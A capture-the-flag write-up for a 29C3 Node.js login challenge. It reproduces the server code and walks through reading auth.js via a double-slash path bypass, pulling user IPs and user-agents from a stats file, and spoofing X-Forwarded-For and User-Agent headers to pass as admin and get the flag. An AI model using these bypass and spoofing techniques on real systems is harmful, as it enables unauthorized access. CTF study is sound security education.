Node.js is smart, fast, easy and secure… Don’t you think so too?

Hint: google and other sites always look at one file before they access a website by themself, you might want to have a look that file.

So, a Node app that presents a login screen. We follow the hint that refers view the robots.txt. In this file we see a directive disallow:pages.js. Let’s see it:

var fs = exports.fs = module.parent.exports.fs,
    path = require("path"),
    auth = require("./auth.js"),
    less = require("less"),
    uglify = require("uglify-js"),
    logRequest = function (e) {};
exports.all = function (e, t, n) {
    if (e.path.match(/\.\./)) {
        n(e.who + " relative path " + e.path);
        return
    }
    var r = {
        ua: e.get("user-agent"),
        ip: e.ip
    };
    e.body.user && (r = [e.body.user, e.body.password, r]), auth.check("auth", "app/stats", r, function (t) {
        e.data = t, t && (e.who = e.who.replace(/^guest/, t.type)), n()
    })
}, exports.start = function (e, t, n) {
    logRequest(e);
    if (!e.data) {
        t.type("html");
        if (e.xhr) {
            t.setHeader("Connection", "close"), t.setHeader("Content-Length", 0), t.send(404, "");
            return
        }
        t.render("login", {
            xhr: e.xhr
        }, function (e, r) {
            if (e) {
                n(e);
                return
            }
            t.send(200, r)
        })
    } else if (e.data.type === "admin") {
        if (e.xhr) {
            t.send(200, "/admin");
            return
        }
        t.redirect("/admin")
    } else t.type("html"), t.render("user", function (t) {
        return t.xhr = e.xhr, t
    }(e.data), function (e, r) {
        if (e) {
            n(e);
            return
        }
        t.send(200, r)
    })
}, exports.static = function (e, t, n) {
    t.type(e.path.replace(/\/+/g, "")), fs.readFile(e.app.get("views") + e.path, function (r, i) {
        if (r) {
            n(r);
            return
        }
        i = i.toString();
        if (i.substr(0, 4) === "/**/") {
            t.send(i.substr(4));
            return
        }
        e.params[0] === "css" ? (logRequest(e), less.render(i, function (e, r) {
            if (e) {
                n(e);
                return
            }
            r = r.replace(/\r\n|\r|\n/g, "").replace(/\t/g, " ").replace(/\s+/g, " ").replace(/([,:;{]) /g, function (e, t) {
                return t
            }).replace(/ ([,:;{])/g, function (e, t) {
                return t
            }).replace(/;}/g, "}").replace(/(\D)0(\.\d)/g, function (e, t, n) {
                return t + n
            }), t.send(r)
        })) : e.path.match(/^\/auth\.js/) ? n(e.who + " server-side file " + e.path) : (logRequest(e), t.send(uglify(i)))
    })
}, exports.admin = function (e, t, n) {
    e.data && e.data.type === "admin" ? fs.readFile("app/stats.txt", function (r, i) {
        if (r) {
            n(r);
            return
        }
        var s = i.toString().replace(/^\n+|\n+$|\n(?=\n)/g, "").split("\n");
        s.some(function (e, t) {
            s[t] = JSON.parse(e)
        }), t.type("html"), t.render("admin", {
            flag: module.parent.exports.flag,
            users: s,
            xhr: e.xhr
        }, function (e, r) {
            if (e) {
                n(e);
                return
            }
            t.send(200, r)
        })
    }) : n(e.who + " admin only")
}

Some logRequest staff at top of the file that give us important hints about the final solution of the challenge. We see auth.js that cannot be accesed from http://94.45.252.237:1024/auth.js. It can be from http://94.45.252.237:1024//auth.js , notice the double slash. This js has crypto libs for authentication. There was two functions: check and add, that could be reference for adding users and i pay attention on this part of the add function:

 exports.add = function (e, t, n) {
    crypto.pbkdf2(n.pass, n.mail.substr(0, 10), 1e3, 36, function (r, i) {
        if (r) throw r;
        fs.appendFile("loginData.txt", n.user + ": " + n.pass + "\n", function (e) {
            if (e) throw e
        }), fs.appendFile(t, JSON.stringify({
            user: n.user,
            ua: n.ua,
            ip: n.ip
        }) + "\n", function (e) {
            if (e) throw e
        }), n.pass = i, fs.appendFile(e, JSON.stringify(n) + "\n", function (e) {
            if (e) throw e
        })
    })

So we have a user, a user-agent and an ip that could be important for the login process. We see in pages.js that there was a stats.txt. Let’s see it. Interesting, log files that give us a final approach.

Run LiveHttpHeaders to modify our request and see the response :-). We sent User-Agent, X-Forwarded-For and variable user with the data extracted from stats.txt . If we do this with users different than admin, we acces the profile page of them, but no flag :-(

Firefox 2

 

Let’s see what happened with user admin. The user admin has 8.8.8.8 as ip and “Mozilla/5.0 (compatible; MSIE 6.0; Windows NT 5.1)” as user-agent. If we try to launch the modified request to http://94.45.252.237:1024 it redirects to /admin but has 302 Moved Temporarily http state and a blank page appears, so we try against http://94.45.252.237:1024/admin . We see this page:

 

Firefox

Flag: 29C3_ProxyTrust